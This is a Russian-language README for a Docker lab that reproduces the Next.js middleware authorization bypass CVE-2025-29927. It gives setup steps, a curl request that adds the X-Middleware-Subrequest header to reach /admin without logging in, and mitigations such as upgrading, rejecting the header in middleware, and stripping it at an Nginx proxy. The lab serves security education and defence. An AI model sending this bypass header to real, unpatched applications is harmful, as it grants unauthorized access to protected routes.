
Лаборатория на базе Docker для изучения и воспроизведения уязвимости обхода авторизации промежуточного ПО Next.js CVE-2025-29927. Включает уязвимое приложение, шаги для воспроизведения и стратегии смягчения последствий для образовательных исследований в области безопасности.
Этот репозиторий содержит среду лаборатории на основе Docker для изучения и демонстрации уязвимости Next.js CVE-2025-29927 в контролируемых условиях.
⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Эта лаборатория предназначена только для образовательных целей и исследований в области безопасности. Не выставляйте её в открытый интернет и не используйте в продакшене.
Убедитесь, что у вас установлено следующее:
Выполните следующие шаги, чтобы клонировать и запустить лабораторию:
git clone https://github.com/enochgitgamefied/NextJS-CVE-2025-29927-Docker-Lab.git
cd NextJS-CVE-2025-29927-Docker-Lab
docker-compose up --build
Это сделает следующее:
.
├── app/ # Main Next.js app code
├── public/ # Static assets (images, etc.)
├── Dockerfile # Docker setup for app
├── docker-compose.yml # Compose configuration
├── .env # Environment variables (if any)
├── README.md # You are here
⚠️ ПРЕДУПРЕЖДЕНИЕ: Эта документация предназначена только для образовательных целей и исследований в области безопасности. Не развёртывайте уязвимое приложение в производственной среде.
CVE-2025-29927 — это критическая уязвимость обхода авторизации в промежуточном ПО Next.js. Она позволяет злоумышленникам пропускать аутентификацию на основе промежуточного ПО и получать доступ к защищённым маршрутам, манипулируя заголовком X-Middleware-Subrequest.
Попробуйте получить доступ к защищённому маршруту, например /admin, без какой-либо аутентификации:
curl http://localhost:3000/admin
Ожидаемое поведение: Доступ запрещён или выполняется перенаправление на страницу без авторизации.
Уязвимое поведение: Доступ предоставляется без аутентификации.
X-Middleware-SubrequestОтправьте запрос с заголовком X-Middleware-Subrequest, чтобы обойти проверки промежуточного ПО:
curl -H "X-Middleware-Subrequest: src/middleware:nowaf" http://localhost:3000/admin
Результат: Промежуточное ПО обходится, и доступ к защищённому маршруту предоставляется.
Обновите Next.js до одной из следующих версий, в которых устранена уязвимость:
npm install next@latest
Улучшите ваше промежуточное ПО, чтобы правильно проверять запросы и отклонять любые с подозрительными заголовками:
import { NextResponse } from 'next/server';
export function middleware(request) {
const subrequestHeader = request.headers.get('x-middleware-subrequest');
if (subrequestHeader) {
return new NextResponse('Unauthorized', { status: 401 });
}
// Continue with normal processing
return NextResponse.next();
}
Если вы используете обратный прокси (например, Nginx), настройте его на удаление заголовка X-Middleware-Subrequest из входящих запросов:
location / {
proxy_pass http://localhost:3000;
proxy_set_header X-Middleware-Subrequest "";
}
Этот файл VULNERABILITY.md предоставляет подробное руководство по пониманию и воспроизведению уязвимости CVE-2025-29927 в контролируемой среде. Он также предлагает практические стратегии смягчения для защиты ваших приложений Next.js от таких эксплойтов.
Для детальной демонстрации и дальнейшего понимания этой уязвимости вы можете обратиться к полной демонстрации атаки, предоставленной Techtalkpine в сообщении блога, которое также содержит ссылку на живую демонстрацию на YouTube: https://techtalkpine.com/2025/03/demo-for-cve-2025-29927-nextjs/
Дайте мне знать, если вам потребуется помощь с какой-либо частью этой настройки или дальнейшие разъяснения по шагам смягчения.
Чтобы остановить и удалить контейнеры:
docker-compose down
Этот проект предназначен исключительно для образовательных и исследовательских целей. Вы несёте ответственность за его использование в соответствии со всеми применимыми законами и этическими нормами. Автор не несёт ответственности за любое неправомерное использование или причинённый ущерб.